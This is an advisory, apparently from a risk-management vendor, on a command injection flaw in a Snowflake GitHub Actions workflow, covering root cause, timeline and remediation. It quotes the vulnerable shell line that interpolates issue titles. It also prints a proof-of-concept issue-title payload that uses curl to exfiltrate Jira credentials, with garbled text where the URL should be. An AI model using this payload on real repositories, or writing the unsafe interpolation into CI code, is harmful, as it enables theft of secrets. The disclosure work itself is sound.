Critical Command Injection Vulnerability in Snowflake snowflake-connector-net GitHub ...

A critical command injection vulnerability was identified in the GitHub Actions workflow of the public snowflakedb/snowflake-connector-net repository maintained by Snowflake . This flaw enabled unauthenticated attackers to execute arbitrary commands on the CI/CD runner by submitting specially crafted GitHub issues. The vulnerability resulted in the exposure of internal Jira credentials, including API tokens with read access to sensitive Snowflake projects. The issue was discovered and responsibly disclosed by Wiz Research ’s autonomous “Red Agent” system and was remediated within hours. At the time of writing, there is no evidence of malicious exploitation or customer impact, and no CVE or CISA KEV entry has been assigned.

The vulnerable component was the .github/workflows/jira_issue.yml workflow in the snowflakedb/snowflake-connector-net repository. The workflow interpolated attacker-controlled issue titles directly into a shell run: block, as shown below:

run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")

This workflow was triggered on the issues: opened event, allowing any GitHub user to initiate it. The vulnerability originated from a change introduced in commit 094038e and merged via PR #1218 on June 18, 2026. The change replaced a previously safe pattern using environment variables and jq --arg with direct string interpolation, creating a command injection vector.

An attacker could exploit this by opening a GitHub issue with a title containing shell metacharacters, breaking out of the echo statement and injecting arbitrary commands. The proof-of-concept payload crafted by the Wiz Red Agent system executed a curl command to exfiltrate the Jira API token:

'; curl -s " %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '

As a result, the workflow runner (Azure IP 20.106.182.197) sent the credentials to an attacker-controlled endpoint. The exposed credentials included the JIRA_API_TOKEN, JIRA_USER_EMAIL ([email protected]), and JIRA_BASE_URL (snowflakecomputing.atlassian.net), granting read access to Snowflake ’s engineering, security compliance, and bug bounty tracking Jira projects.

The timeline of events is as follows: the vulnerable code was merged on June 18, 2026; the flaw was discovered and exploited by Wiz Red Agent on June 23, 2026, with responsible disclosure to Snowflake via HackerOne (report #3819931); the workflow was patched the same day ( PR #1402 ), and the Jira token was rotated on June 24, 2026. The public disclosure deadline was set for July 25, 2026, per Snowflake ’s policy.

This vulnerability underscores the risks of using AI-assisted code generation (such as GitHub Copilot ) in security-sensitive workflows and highlights the necessity of rigorous review and static analysis for CI/CD automation. GitHub had previously documented this class of workflow injection and recommended using intermediate environment variables to avoid direct expansion of untrusted data.

Only Wiz ’s Red Agent is confirmed to have exploited the vulnerability during authorized testing. No evidence of malicious exploitation or customer compromise has been found. Snowflake ’s internal audit logs confirmed no unauthorized access during the five-day exposure window. As of August 17, 2026, no CVE or CISA KEV entry exists for this issue, and there is no CISA-confirmed exploitation.

There is no public or private reporting linking this vulnerability to any APT group or criminal actor. No evidence of targeting by sector or country has been observed. All exploitation was performed by Wiz ’s Red Agent as part of responsible disclosure, and no malicious or state- activity has been detected.

The attack leveraged a command injection vector in the GitHub Actions workflow. By submitting a crafted issue title, an attacker could break out of the intended shell command context and execute arbitrary commands. The proof-of-concept used a curl command to exfiltrate sensitive credentials. The workflow’s use of direct string interpolation without proper sanitization was the root cause.

No evidence of exploitation in the wild beyond the authorized testing by Wiz’s Red Agent. No APT or criminal group activity has been observed.

No specific sectors, organizations, or countries were targeted. The only known exploitation was by Wiz’s Red Agent for responsible disclosure.

Wiz Blog, The Hacker News

snowflakecomputing[.]atlassian[.]net

Wiz Blog, The Hacker News

Wiz Blog, The Hacker News

Rescana provides a comprehensive Third-Party Risk Management (TPRM) platform that enables organizations to continuously monitor, assess, and mitigate cyber risks across their supply chain and vendor ecosystem. Our platform leverages advanced automation and threat intelligence to help you stay ahead of emerging threats and regulatory requirements. We are happy to answer any questions at [email protected].